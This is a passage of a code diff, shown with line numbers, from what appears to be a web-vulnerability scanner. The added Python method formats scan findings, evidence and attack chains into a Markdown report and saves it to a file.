|
+
severity_counts: dict[str, int] = {}
|
|
37
|
+
for f in self.findings:
|
|
38
|
+
sev = f.severity.value
|
|
39
|
+
severity_counts[sev] = severity_counts.get(sev, 0) + 1
|
|
40
|
+
|
|
41
|
+
lines.append("## Summary")
|
|
42
|
+
lines.append("")
|
|
43
|
+
for sev in ["critical", "high", "medium", "low", "info"]:
|
|
44
|
+
count = severity_counts.get(sev, 0)
|
|
45
|
+
if count > 0:
|
|
46
|
+
lines.append(f"- **{sev.upper()}:** {count}")
|
|
47
|
+
lines.append("")
|
|
48
|
+
|
|
49
|
+
# Findings
|
|
50
|
+
if self.findings:
|
|
51
|
+
lines.append("## Findings")
|
|
52
|
+
lines.append("")
|
|
53
|
+
|
|
54
|
+
for i, f in enumerate(self.findings, 1):
|
|
55
|
+
lines.append(f"### {i}. [{f.severity.value.upper()}] {f.title}")
|
|
56
|
+
lines.append("")
|
|
57
|
+
lines.append(f"**Endpoint:** `{f.endpoint}`")
|
|
58
|
+
lines.append(f"**CWE:** {f.cwe}")
|
|
59
|
+
lines.append(f"**OWASP:** {f.owasp}")
|
|
60
|
+
lines.append(f"**Scanner:** {f.scanner}")
|
|
61
|
+
lines.append(f"**Confidence:** {f.evidence.confidence:.0%}")
|
|
62
|
+
lines.append("")
|
|
63
|
+
lines.append(f"**Description:** {f.description}")
|
|
64
|
+
lines.append("")
|
|
65
|
+
lines.append(f"**Remediation:** {f.remediation}")
|
|
66
|
+
lines.append("")
|
|
67
|
+
lines.append("**Evidence:**")
|
|
68
|
+
lines.append(f"- Method: `{f.evidence.request_method}`")
|
|
69
|
+
lines.append(f"- URL: `{f.evidence.request_url}`")
|
|
70
|
+
lines.append(f"- Status: `{f.evidence.response_status}`")
|
|
71
|
+
if f.evidence.payload:
|
|
72
|
+
lines.append(f"- Payload: `{f.evidence.payload}`")
|
|
73
|
+
if f.evidence.response_snippet:
|
|
74
|
+
lines.append("- Response snippet:")
|
|
75
|
+
lines.append("```")
|
|
76
|
+
lines.append(f.evidence.response_snippet[:500])
|
|
77
|
+
lines.append("```")
|
|
78
|
+
lines.append("")
|
|
79
|
+
lines.append("---")
|
|
80
|
+
lines.append("")
|
|
81
|
+
|
|
82
|
+
# Attack chains
|
|
83
|
+
if self.attack_chains:
|
|
84
|
+
lines.append("## Attack Chains")
|
|
85
|
+
lines.append("")
|
|
86
|
+
for chain in self.attack_chains:
|
|
87
|
+
lines.append(f"### {chain.name}")
|
|
88
|
+
lines.append(f"**Impact:** {chain.total_impact}")
|
|
89
|
+
lines.append(f"**Severity:** {chain.estimated_severity.upper()}")
|
|
90
|
+
lines.append("")
|
|
91
|
+
for j, step in enumerate(chain.steps, 1):
|
|
92
|
+
lines.append(f"{j}. **{step.finding.title}** - {step.description}")
|
|
93
|
+
lines.append("")
|
|
94
|
+
|
|
95
|
+
return "\n".join(lines)
|
|
96
|
+
|
|
97
|
+
def save(self, path: str) -> None:
|
|
98
|
+
"""Save report to file."""
|
|
99
|
+
with open(path, "w", encoding="utf-8") as f:
|
|
100
|
+
f.write(self.generate())
|
|
101
|
+
logger.info(f"Markdown report saved to {path}")
|